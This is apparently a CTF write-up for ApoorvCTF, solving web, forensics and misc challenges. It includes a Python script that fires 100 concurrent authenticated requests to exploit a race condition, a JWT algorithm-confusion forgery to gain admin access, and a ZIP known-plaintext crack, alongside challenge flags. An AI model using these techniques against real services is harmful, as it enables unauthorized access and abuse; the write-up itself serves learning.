# Web ## SEO CEO In this challenge, I used `dirsearch` and found an endpoint `/sitemap.xml`. After some searching, I discovered another unusual endpoint that returned a message indicating that to get the `flag`, the value must be either yes or no. So, I treated `flag` as a variable and set its value to `yes`. ![image](https://hackmd.io/_uploads/HyzuUWmoJx.png) ![image](https://hackmd.io/_uploads/BkqcIbQiyl.png) ![image](https://hackmd.io/_uploads/Sy3s8bmikg.png) `Flag: apoorvctf{s30_1snT_0pt1onaL}` ## Blog-1 This challenge involved a `race condition vulnerability`. I logged in, explored the website, and noticed that posting 5 times would grant a reward. However, despite multiple attempts, I encountered timing issues. To work around this, I created a new account and made one initial post with only 3 characters, causing an error. I knew that the `title` or `content` had to be between `400-500` characters, so this invalid post helped me capture the current timestamp and token, which I then used to exploit the `vulnerability` ![image](https://hackmd.io/_uploads/BkGNdZms1e.png) I am currently facing issues in re-exploiting this challenge, and at that time, I also had to try many times to succeed `script` ```py= import requests import concurrent.futures url = "http://chals1.apoorvctf.xyz:5001/api/v1/blog/addBlog" headers = { "Authorization": "Bearer <token>", "Content-Type": "application/json", } blog_data = { "title": "adsadf", "description": "nasavgda", "visible": True, "date": "2025-03-03T10:47:08.685Z", } def send_request(): response = requests.post(url, json=blog_data, headers=headers) print(response.status_code, response.text) num_requests = 100 with concurrent.futures.ThreadPoolExecutor(max_workers=num_requests) as executor: futures = [executor.submit(send_request) for _ in range(num_requests)] concurrent.futures.wait(futures) ``` ## Tan-je-ro Used `dirsearch` and found three `endpoints`: * `/admin`: Requires a token * `/login`: Issues a sample token * `/public`: Provides an RSA public key After researching, found this [blog post](https://blog.pentesteracademy.com/hacking-jwt-tokens-verification-key-mismanagement-1b69c89ffdfb), which describes a `vulnerability` that allows switching the `algorithm` from `RS256` to `HS256`. * Used the tool mentioned in the article: `RsaToHmac.py` Then, modified the token to set `admin: true` Finally, I inserted the token into `/ADMIN?token=<final_token>`. # Forensics ## Phantom Connection Used `BMC tool` to extract data from the binary file and found several images containing the `flag`. ``` python3 bmc-tools.py /home/kali/Desktop/Cache/Cache0000.bin /home/kali/Desktop/Cache/ ``` ![image](https://hackmd.io/_uploads/BkbKhZmiyl.png) `Flag: apoorvctf{CAcH3_Wh4T_YoU_sE3}` Note: [bmc-tool](https://github.com/ANSSI-FR/bmc-tools) ## Samurai’s Code After examining the image file, I found a `Brainfuck` code snippet hidden at the bottom. Decoding it revealed a `Google Drive link`, from which I downloaded a file named `samurai`. Upon inspecting this file, I noticed it was a `JPEG image`, but the byte order was altered in a structured way. Specifically, every two columns were swapped. To restore the original image, I wrote a script to rearrange the byte order correctly. ![image](https://hackmd.io/_uploads/r16dJzQjJe.png) ``` ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++.++++++++++++..----.+++.<------------.-----------..>---------------.++++++++++++++.---------.+++++++++++++.-----------------.<-.>++.++++++++..--------.+++++.-------.<.>--.++++++++++++.--.<+.>-------.+++.+++.-------.<.>-.<.++.+++++++++++++++++++++++++.+++++++++++++.>+++++++++++++.<+++++++++++++.----------------------------------.++++++++.>+++++++++.-------------------.<+++++++.>+.<-----.+++++++++.------------.<+++++++++++++++.>>++++++++++++++++.<+++.++++++++.>-.<--------.---------.++++++++++++++++++++.>.<++.>--------------.<<+++++.>.>-----.+++++++.<<++.>--.<++.---------.++.>>+++++++++++.-------------.----.++++++++++++++++++.<<++++++++++++++++.>>--.--.---.<<--.>>+++.-----------.-------.+++++++++++++++++.---------.+++++.-------. ``` decode at [here](https://www.dcode.fr/langage-brainfuck) or `script` ```py= def brainfuck_interpreter(code, input_data=""): code_ptr = 0 mem = [0] * 30000 mem_ptr = 0 input_ptr = 0 output = "" loop_stack = [] while code_ptr < len(code): cmd = code[code_ptr] if cmd == '>': mem_ptr = (mem_ptr + 1) % len(mem) elif cmd == '<': mem_ptr = (mem_ptr - 1) % len(mem) elif cmd == '+': mem[mem_ptr] = (mem[mem_ptr] + 1) % 256 elif cmd == '-': mem[mem_ptr] = (mem[mem_ptr] - 1) % 256 elif cmd == '.': output += chr(mem[mem_ptr]) elif cmd == ',': if input_ptr < len(input_data): mem[mem_ptr] = ord(input_data[input_ptr]) input_ptr += 1 else: mem[mem_ptr] = 0 elif cmd == '[': if mem[mem_ptr] == 0: loop_level = 1 while loop_level > 0: code_ptr += 1 if code[code_ptr] == '[': loop_level += 1 elif code[code_ptr] == ']': loop_level -= 1 else: loop_stack.append(code_ptr) elif cmd == ']': if mem[mem_ptr] != 0: code_ptr = loop_stack[-1] else: loop_stack.pop() code_ptr += 1 return output brainfuck_code = "++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++.++++++++++++..----.+++.<------------.-----------..>---------------.++++++++++++++.---------.+++++++++++++.-----------------.<-.>++.++++++++..--------.+++++.-------.<.>--.++++++++++++.--.<+.>-------.+++.+++.-------.<.>-.<.++.+++++++++++++++++++++++++.+++++++++++++.>+++++++++++++.<+++++++++++++.----------------------------------.++++++++.>+++++++++.-------------------.<+++++++.>+.<-----.+++++++++.------------.<+++++++++++++++.>>++++++++++++++++.<+++.++++++++.>-.<--------.---------.++++++++++++++++++++.>.<++.>--------------.<<+++++.>.>-----.+++++++.<<++.>--.<++.---------.++.>>+++++++++++.-------------.----.++++++++++++++++++.<<++++++++++++++++.>>--.--.---.<<--.>>+++.-----------.-------.+++++++++++++++++.---------.+++++.-------." print(brainfuck_interpreter(brainfuck_code)) #https://drive.google.com/file/d/1JWqdBJzgQhLUI-xLTwLCWwYi2Ydk4W6-/view?usp=sharing ``` ![image](https://hackmd.io/_uploads/SkzNez7sJg.png) `solve.py` ```py= with open("samurai", "rb") as f: data = f.read() fixed_data = bytearray() for i in range(0, len(data), 2): fixed_data.extend(data[i:i+2][::-1]) with open("samurai_fixed.jpg", "wb") as f: f.write(fixed_data) ``` ![samurai_fixed](https://hackmd.io/_uploads/ryf_xM7j1x.jpg) `Flag: apoorvctf{ByT3s_OUT_OF_ORd3R}` ## Ramen lockdown Use [bkcrack](https://github.com/kimci86/bkcrack/releases/tag/v1.7.1) or * Create a file containing the first 12 bytes of a PNG header. ``` echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D' > png_header.bin ``` * Run bkcrack again using the new header. ``` bkcrack -C recipe.zip -c secret_recipe.png -p png_header.bin -o 0 ``` ## ArchBTW This challenge involves a `keylogger`. We need to extract the data and decode it using `tshark` ``` tshark -r Capture.pcapng -Y "usb.src == 3.45.1" -T fields -e usbhid.data | sed 's/../:&/g2' > /home/kali/Downloads/sed1.txt ``` Then, we run a script to extract data from those hex segments to inspect the content. ``` #!/usr/bin/python3 # -*- coding: utf-8 -*- import sys KEY_CODES = { 0x04:['a', 'A'], 0x05:['b', 'B'], 0x06:['c', 'C'], 0x07:['d', 'D'], 0x08:['e', 'E'], 0x09:['f', 'F'], 0x0A:['g', 'G'], 0x0B:['h', 'H'], 0x0C:['i', 'I'], 0x0D:['j', 'J'], 0x0E:['k', 'K'], 0x0F:['l', 'L'], 0x10:['m', 'M'], 0x11:['n', 'N'], 0x12:['o', 'O'], 0x13:['p', 'P'], 0x14:['q', 'Q'], 0x15:['r', 'R'], 0x16:['s', 'S'], 0x17:['t', 'T'], 0x18:['u', 'U'], 0x19:['v', 'V'], 0x1A:['w', 'W'], 0x1B:['x', 'X'], 0x1C:['y', 'Y'], 0x1D:['z', 'Z'], 0x1E:['1', '!'], 0x1F:['2', '@'], 0x20:['3', '#'], 0x21:['4', '$'], 0x22:['5', '%'], 0x23:['6', '^'], 0x24:['7', '&'], 0x25:['8', '*'], 0x26:['9', '('], 0x27:['0', ')'], 0x28:['\n','\n'], 0x29:['[ESC]','[ESC]'], 0x2a:['[BACKSPACE]', '[BACKSPACE]'], 0x2C:[' ', ' '], 0x2D:['-', '_'], 0x2E:['=', '+'], 0x2F:['[', '{'], 0x30:[']', '}'], 0x32:['#','~'], 0x33:[';', ':'], 0x34:['\'', '"'], 0x36:[',', '<'], 0x37:['.', '>'], 0x38:['/', '?'], 0x39:['[CAPSLOCK]','[CAPSLOCK]'], 0x2b:['\t','\t'], 0x4f:[u'→',u'→'], 0x50:[u'←',u'←'], 0x51:[u'↓',u'↓'], 0x52:[u'↑',u'↑'] } #tshark -r ./usb.pcap -Y 'usb.capdata' -T fields -e usb.capdata > keyboards.txt def read_use(file): with open(file, 'r') as f: datas = f.read().split('\n') datas = [d.strip() for d in datas if d] cursor_x = 0 cursor_y = 0 offset_current_line = 0 lines = [] output = '' skip_next = False lines.append("") for data in datas: shift = int(data.split(':')[0], 16) # 0x2 is left shift 0x20 is right shift key = int(data.split(':')[2], 16) if skip_next: skip_next = False continue if key == 0 or int(data.split(':')[3], 16) > 0: continue if shift != 0: shift=1 skip_next = True key_value = KEY_CODES.get(key, None) if key_value is None: continue if KEY_CODES[key][shift] == u'↑': lines[cursor_y] += output output = '' cursor_y -= 1 elif KEY_CODES[key][shift] == u'↓': lines[cursor_y] += output output = '' cursor_y += 1 elif KEY_CODES[key][shift] == u'→': cursor_x += 1 elif KEY_CODES[key][shift] == u'←': cursor_x -= 1 elif KEY_CODES[key][shift] == '\n': lines.append("") lines[cursor_y] += output cursor_x = 0 cursor_y += 1 output = '' elif KEY_CODES[key][shift] == '[BACKSPACE]': output = output[:-1] #lines[cursor_y] = output cursor_x -= 1 else: output += KEY_CODES[key][shift] #lines[cursor_y] = output cursor_x += 1 print(lines) if lines == [""]: lines[0] = output if output != '' and output not in lines: lines[cursor_y] += output return '\n'.join(lines) if __name__ == '__main__': if len(sys.argv) < 2: print('Missing file to read...') exit(-1) sys.stdout.write(read_use(sys.argv[1])) ``` ``` python3 usbparse.py sed.txt ``` ``` nvim flag.txt :%s/0/10101/g :%s/1/10011/g :%s/[01]/=system("awk '[CAPSLOCK][CAPSLOCK]NR % 2 ==".(submatch(0) == "0" ? "0" : "1")."' synoonyms.txt shuf -n1")/g ``` The user opened `flag.txt` using `nvim` (likely in binary format). Then, the following transformations were applied: * Replace all `0` with `10101`. * Replace all `1` with `10011`. For remaining `0` and `1`, they were replaced based on their even or odd positions using a mapping from `synonyms.txt`. To retrieve the `flag`, we need to write a script to `reverse` these transformations from `flag.txt` `script` ```py= with open("synoonyms.txt", "r") as f: synonyms = f.read().splitlines() synonyms_dict = {word: str(idx % 2) for idx, word in enumerate(synonyms, start=1)} with open("flag.txt", "r") as f: words = f.read().splitlines() binary_string = "".join(synonyms_dict[word] for word in words if word in synonyms_dict) print(binary_string.replace('10011','1').replace('10101','0')) #011000010111000001101111011011110111001001110110011000110111010001100110011110110110111001100101001100000111011000110001011011010101111100110001011100110101111101100010001100110111010001110100001100110111001001111101 ``` ![image](https://hackmd.io/_uploads/BJB5Hzmjkg.png) `Flag: apoorvctf{ne0v1m_1s_b3tt3r}` ## Whispers of the Forgotten From the provided `link`, I downloaded a `memory` dump file. * Opened it using `Volatility3` and noticed that `Chrome` had been opened multiple times. * Attempted to extract data but found it challenging to locate relevant information. * Searched directly within the memory file for `http`, which returned many results, mostly related to `Chrome`. * Noticed a reference to `Pastebin`, so I searched for `Pastebin` in the memory dump. * Found a mention of `WShell`, and immediately below it, there was a link. * Accessed the link and retrieved the `flag`. ![image](https://hackmd.io/_uploads/SkMtOM7jkl.png) ![image](https://hackmd.io/_uploads/r1cjOGXs1x.png) ![image](https://hackmd.io/_uploads/B11TOMXokx.png) ``` apoorvctf{ur1s_n3v3r_1i3} ``` # Misc ## Ghosted on the 14th Accessed the PCAP file and filtered HTTP streams, finding an IP and port: `172.200.32.81:8080. Searched on `Wayback Machine` using: `http://172.200.32.81:8080`. Filtered results to `February 14th` and inspected the web source code. ![image](https://hackmd.io/_uploads/B17RKzQikg.png) ![image](https://hackmd.io/_uploads/ry0RtfQske.png) `YXBvb3JjdGZ7MW1fZzAxbmdfMW41YW4zfQ` `Flag: apoorctf{1m_g01ng_1n5an3}`